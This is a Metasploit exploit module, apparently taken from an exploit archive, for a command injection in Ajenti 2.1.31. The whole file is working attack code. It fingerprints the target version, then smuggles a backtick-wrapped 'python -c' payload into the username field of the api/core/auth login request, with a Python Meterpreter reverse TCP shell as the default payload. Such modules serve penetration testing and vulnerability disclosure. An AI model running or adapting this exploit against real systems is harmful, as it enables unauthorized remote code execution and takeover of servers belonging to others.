# Exploit Title: Ajenti 2.1.31 - Remote Code Exection (Metasploit)
# Date: 2019-10-29
# Exploit Author: Onur ER
# Vendor Homepage: http://ajenti.org/
# Software Link: https://github.com/ajenti/ajenti
# Version: 2.1.31
# Tested on: Ubuntu 19.10

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      'Name'            => "Ajenti 2.1.31 Remote Code Execution",
                      'Description'     => %q{
                        This module exploits a command injection in Ajenti <= 2.1.31.
                        By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.
                      },
                      'Author'          => [
                          'Jeremy Brown', # Vulnerability discovery
                          'Onur ER <onur@onurer.net>' # Metasploit module
                      ],
                      'References'      => [
                          ['EDB', '47497']
                      ],
                      'DisclosureDate'  => '2019-10-14',
                      'License'         => MSF_LICENSE,
                      'Platform'        => 'python',
                      'Arch'            => ARCH_PYTHON,
                      'Privileged'      => false,
                      'Targets'         => [
                          [ 'Ajenti <= 2.1.31', {} ]
                      ],
                      'DefaultOptions'  =>
                          {
                              'RPORT'   => 8000,
                              'SSL'     => 'True',
                              'payload' => 'python/meterpreter/reverse_tcp'
                          },
                      'DefaultTarget'   => 0
          ))
    register_options([
                         OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi({
                               'method' => 'GET',
                               'uri'    => "/view/login/normal"
                           })
    if res and res.code == 200
      if res.body =~ /'ajentiVersion', '2.1.31'/
        return Exploit::CheckCode::Vulnerable
      elsif res.body =~ /Ajenti/
        return Exploit::CheckCode::Detected
      end
    end
    vprint_error("Unable to determine due to a HTTP connection timeout")
    return Exploit::CheckCode::Unknown
  end


  def exploit
    print_status("Exploiting...")
    random_password = rand_text_alpha_lower(7)
    json_body = { 'username' => "`python -c \"#{payload.encoded}\"`",
                  'password' => random_password,
                  'mode' => 'normal'
    }
    res = send_request_cgi({
         'method' => 'POST',
         'uri'    => normalize_uri(target_uri, 'api', 'core', 'auth'),
         'ctype'  => 'application/json',
         'data'   => JSON.generate(json_body)
     })
  end
end